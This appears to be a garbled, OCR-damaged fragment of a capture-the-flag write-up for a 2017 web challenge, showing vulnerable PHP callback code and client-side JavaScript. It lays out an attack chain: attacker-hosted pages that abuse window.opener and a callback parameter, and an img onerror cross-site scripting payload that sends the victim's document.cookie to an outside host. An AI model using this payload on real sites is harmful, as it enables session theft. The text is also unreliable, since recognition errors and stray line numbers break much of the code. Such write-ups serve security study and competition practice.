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1 Description

2 maybe nothing here

3 flag in admin cookie
4 Now Score 820.35

5 Team solved 3
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1 $callback = $ GET['callback'];

2 preq match("/\w+/1", $callback, $matches);
3

4...

5

6 echo "<script>";

7 echo S$matches[0]."();";

8 echo "</script>";
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function UpdateProfile() {
var username = document.getElementById('user').value;
var email = document.getElementById('email').value;
var message = document.getElementById('mess').value;

window.opener.document.getElementById ("email") .innerHTML="Email: "+email;

1
2
3
4
5
6
7 window.opener.document.getElementByld ("mess") . innerHIML="Message: "+message;
8

9 console.log ("Update user profile success...");
10 window.close () ;

11}

12

13 function EditProfile(){

14 document. onkeydown=function (event) {
15 if (event.keyCode == 13){

16 UpdateProfile();

17 }

18 }

19}

20

21 function RandomProfile () {
22 setTimeout ('UpdateProfile() ', 1000) ;
23}
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1w payload:
vps, 1.html
1 <script>
2 function start some() {
3 window.open ("2.html") ;
4 location.replace ("http://desert.2017.hctf.io/user.php") ;
5}

6 setTimeout (start some (), 1000);
7 </script>

vps, 2.html

1 <script>

2 function attack() {

3 location.replace ("http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=Ilorexxar") ;
4}

5 setTimeout (attack, 2000) ;

6 </script>
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1<img src="\" onerror=window.location.href="http://0xb.pw?cookie="%2bdocument.cookie>
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